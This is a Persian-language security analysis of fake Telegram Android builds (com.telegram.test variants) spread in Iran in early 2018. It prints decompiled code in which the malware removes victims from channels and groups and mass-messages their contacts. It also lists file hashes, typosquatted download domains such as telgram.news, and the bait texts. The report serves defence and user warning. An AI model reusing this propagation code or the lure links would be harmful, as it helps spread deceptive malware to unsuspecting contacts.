بسمه تعالی

تحلیل و بررسی نسخه جعلی تلگرام

(com.telegram.test*[x]*)

بهمن ۱۳۹۶

۱ مقدمه

اوایل بهمن‌ماه ۱۳۹۶، نسخه‌ای از نرم‌افزار اندرویدی تلگرام از طریق پیام‌های تلگرامی ناخواسته در همین نرم افزار در مقیاس گسترده در کشور انتشار یافت. در پیام‌های دریافت شده، لینکی با دامنه‌ای شبیه دامنه‌اصلی تلگرام قرار داده شده بود و کاربر را تشویق به دریافت و نصب نسخه‌ای جدید از نرم‌افزار با قابلیت‌های بیشتر می‌نمود.

با توجه به متن‌باز بودن تلگرام، افراد می‌توانند به راحتی کد آن را متناسب با اهداف خود تغییر داده و منتشر سازند. متن‌باز بودن این برنامه باعث به وجود آمدن نسخه‌های غیررسمی فراوانی شده است. مهاجمین نیز از این فرصت استفاده کرده و بدافزارهای مختلفی را در این قالب منتشر می‌سازند. نمونه‌های مورد اشاره در این مستند، نسخه‌هایی با نام com.telegram.test[x] هستند که در زمان‌های مختلف منتشر شده اند.

۲ برنامه جعلی تلگرام com.telegram.test[x]

برنامه پیام‌رسان تلگرام در حال حاضر پرمخاطب‌ترین برنامه پیام‌رسان در بین ایرانیان است. به دلیل استقبال زیاد کاربران از این برنامه، و متن‌باز بودن آن، نسخه‌های غیررسمی زیادی از این پیام‌رسان ایجاد شده است. در این میان مهاجمین نیز از فرصت استفاده کرده و بدافزارهای خود را با پیام‌های تبلیغاتی مختلف منتشر می‌سازند. یکی از این بدافزارها، که اوایل بهمن ماه در تلگرام شناسایی شد، سرویس تماس صوتی و تصویری تلگرام است. پس از شناسایی این برنامه، تلگرام دسترسی به این برنامه را محدود کرده و در حال حاضر هرگونه دسترسی به سرویس و لینک‌های منتشر کننده مسدود شده است. اما نکته مهم اینجاست که این برنامه نسخه ۱۱ این بدافزار است و پیش از آن، نسخه‌های مختلف با عناوین فریبنده در فضای مجازی منتشر شده بوده است.

نتایج حاصل از بررسی ۷ نسخه از این بدافزار نشان می‌دهد که این برنامه شباهت بسیار زیادی با نسخه رسمی تلگرام دارد. درواقع این بدافزار هیچ مجوز، سرویس و فعالیت بیشتری نسبت به تلگرام رسمی نداشته و تنها یک پنجره‌ی هشدار به آن اضافه شده است. کد تمامی نسخه‌های این بدافزار مشابه هم است و تنها جمله مربوط به تبلیغ آن متفاوت است. حجم تمامی نسخه‌ها نیز ۱۳,۹ مگابایت است که با حجم برنامه تلگرام همخوانی دارد. آخرین نسخه کنونی تلگرام ۴,۷,۱ است که این بدافزار براساس نسخه ۴,۶,۰ توسعه یافته است. کد مربوط به نسخه استفاده شده به صورت زیر است:

```
  public static final String VERSION_NAME = "4.6.0";
```

نسخه ۴,۶,۰ در تاریخ ۲۰ آذر ماه، و نسخه ۴,۷,۰ نیز ۲۰ روز بعد از آن منتشر شده است. به نظر می‌رسد نسخه ابتدایی بدافزار در این فاصله زمانی ایجاد شده است. در ادامه به بررسی کد مربوط به نسخه ۱۱ این بدافزار پرداخته خواهد شد.

همانطور که گفته شد، این بدافزارها با عناوین مختلفی از جمله سرویس تلگرام صوتی و تصویری منتشر می‌شوند. در نسخه تلگرام منتشر شده در هر تبلیغ، پنجره هشداری به کاربر نشان داده می‌شود که برای فعال کردن قابلیت وعده داده شده در تبلیغ، لازم است قربانی دکمه OK را انتخاب کند:

```
paramContext = new AlertDialog.Builder(paramContext);
paramContext.setTitle(LocaleController.getString("AppName", 2131427439));
paramContext.setMessage(LocaleController.getString("DialogMessage",
2131427816));
paramContext.setPositiveButton(LocaleController.getString("OK",
2131428437), new DialogInterface.OnClickListener() {
```

در قسمت AppName مقدار Telegram و در قسمت DialogMessage، در هر نسخه پیام متفاوتی قرار می‌گیرد. در نسخه ۱۱ مقدار DialogMessage، به صورت زیر است:

```
<string name="DialogMessage">Allow Telegram to enable video and voice call
service?</string>
```

درواقع در این پیام از کاربر سوال می‌شود که مایل است سرویس صوتی و تصویری فعال شود؟ همانطور که مشاهده می‌شود تنها یک گزینه برای این هشدار قرار داده شده است که درصورت کلیک کاربر اتفاقات زیر رخ می‌دهد:

```
public void onClick(DialogInterface paramAnonymousDialogInterface, int
paramAnonymousInt)
        {
          paramAnonymousDialogInterface =
MessagesController.getInstance().dialogs.iterator();
          Object localObject;
          while (paramAnonymousDialogInterface.hasNext())
          {
```

```
            localObject =
(TLRPC.TL_dialog)paramAnonymousDialogInterface.next();
            localObject =
MessagesController.getInstance().getChat(Integer.valueOf(-
(int)((TLRPC.TL_dialog)localObject).id));
```

در اینجا شناسه گفتگوها که گروه‌ها و کانال‌ها نیز شامل آن می‌شوند گرفته می‌شود.

```
            if ((localObject != null) &&
(!((TLRPC.Chat)localObject).megagroup) &&
(!((TLRPC.Chat)localObject).admin) &&
(!((TLRPC.Chat)localObject).creator)) {
```

پس از یافتن کانال‌ها و گروه‌هایی که فرد سازنده کانال یا مدیر آن گروه نباشد، کاربر از آن گروه و کانال حذف خواهد شد:

```
MessagesController.getInstance().deleteUserFromChat(((TLRPC.Chat)localObje
ct).id,
MessagesController.getInstance().getUser(Integer.valueOf(UserConfig.getCli
entUserId())), null);
            }
          }
```

پس از آن لیست مخاطبین قربانی تهیه شده و به آن‌ها پیامی با محتوای MyString ارسال می‌شود.

```
          paramAnonymousDialogInterface =
ContactsController.getInstance().contacts.iterator();
          while (paramAnonymousDialogInterface.hasNext())
          {
            localObject =
(TLRPC.TL_contact)paramAnonymousDialogInterface.next();

SendMessagesHelper.getInstance().sendMessage(LocaleController.getString(
"MyString", 2131428281), ((TLRPC.TL_contact)localObject).user_id, null,
null, true, null, null, null);
          }
        }
```

محتوای MyString در نسخه‌های مختلف متفاوت است. در این نسخه محتوای MyString به صورت زیر است:

```
<string name="MyString">"سرویس تماس صوتی و تصویری تلگرام منتشر شد.
 برای دانلود به لینک زیر مراجعه کنید:
 http://telgram.news/index.html"</string>
```

در این پیام لینک دانلود این نسخه از بدافزار قرار داده شده است. درصورتی که تبلیغ یک برنامه از طرف کسی باشد که مخاطب به او اعتماد دارد، احتمال نصب آن برنامه بالا می‌رود.

در جدول زیر مقادیر مربوط به MyString و DialogMessage در نسخه‌های مختلف نشان داده شده است.

نام برنامه	مقدار هش برنامه	پیامی که از طرف قربانی به کاربران ارسال می‌شود	هشداری که به قربانی نشان داده می‌شود.
com.telegram.test1	7d258e93a2a82f4487173561f84f8fc6	سرویس تلگرام بدون فیلتر منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgrams.org/index.html	Allow Telegram to enable No Filter service?
com.telegram.test2	be0f7971d973fda659c55ed35ce9f797	سرویس لایو استوری تلگرام منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgram.vip/index.html	Allow Telegram to enable Live story service?
com.telegram.test4	5993a319baeeca157f5686d951913623	سرویس طبقه بندی چت های تلگرام منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgram.net/index.html	Allow Telegram to enable Chat categories service?
com.telegram.test7	eb1d14653cde556b8fd6cf32c3aa2c45	سرویس حالت روح تلگرام منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgram.link/index1.html	Allow Telegram to enable Ghost mode?
com.telegram.test8	2852c792232c180b638c4e200aba145f 25ddabba573a2343eaece46574306423	سرویس یافتن کاربران تلگرامی نزدیک خود منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgram.ltd/index.html	Allow Telegram to enable Finding nearby users service?
com.telegram.test9	bd97f4fb80f98ec7b977b8fb07435c65	سرویس مکان یاب دوستان تلگرام منتشر شد. برای دانلود به لینک زیر مراجعه کنید: http://telgram.blog/index.html	Allow Telegram to enable Locate your friends service?
com.telegram.test11	4f93b007f1273cb2d32b13098f74db4f	سرویس تماس صوتی و تصویری تلگرام منتشر شد.	Allow Telegram to enable video and voice call service?

		برای دانلود به لینک زیر مراجعه کنید: http://telgram.news/index.html	

۳ جمع‌بندی و نتیجه‌گیری

با استفاده روزافزون از تلفن‌های هوشمند و متصل شدن عموم افراد جامعه به اینترنت، هر روز شاهد تعداد بسیار زیادی از بدافزارها، تحت عناوین مختلف هستیم. متاسفانه به دلیل آگاهی کم افراد نسبت به موارد امنیتی، قربانیان این بدافزارها تعداد قابل‌ملاحظه‌ای هستند. یکی از نمونه‌های این بدافزارها برنامه‌ای به نام سرویس تماس صوتی و تصویری است که اخیرا نسخه‌ای از آن شناسایی شده و دسترسی به آن محدود شده است. این برنامه با ایجاد تغییر کوچکی در لینک دانلود، و تبدیل telegram به telgram افراد زیادی را فریب داده است و توانسته است با ارسال تبلیغ خود به مخاطبین قربانی، شبکه قربانیان را گسترش دهد. براساس شواهد به دست آمده، نسخه شناسایی شده، یازدهمین نسخه از این بدافزار است.

در ضمن بررسی ها نشان داده است این بدافزار بجز پاک کردن کاربر از گروه و کانال هایی که فرد سازنده کانال یا مدیر آن گروه نیست و ارسال پیغام به لیست مخاطبین قربانی، کار دیگری انجام نداده است.

از آنجا که تلگرام برنامه‌ای متن‌باز است و هر روز چندین نسخه غیررسمی از آن ایجاد می‌شود، و از طرفی شناسایی و بررسی همه این نسخه‌ها کار مشکلی است، لذا توصیه می‌شود کاربران از نصب هرگونه نسخه غیررسمی و تایید نشده تلگرام خودداری کنند. علاوه بر این، به‌روزرسانی برنامه‌ها را نیز از فروشگاه‌های اپلیکیشن معتبر دریافت کرده و به تبلیغات فریبنده توجه نکنند.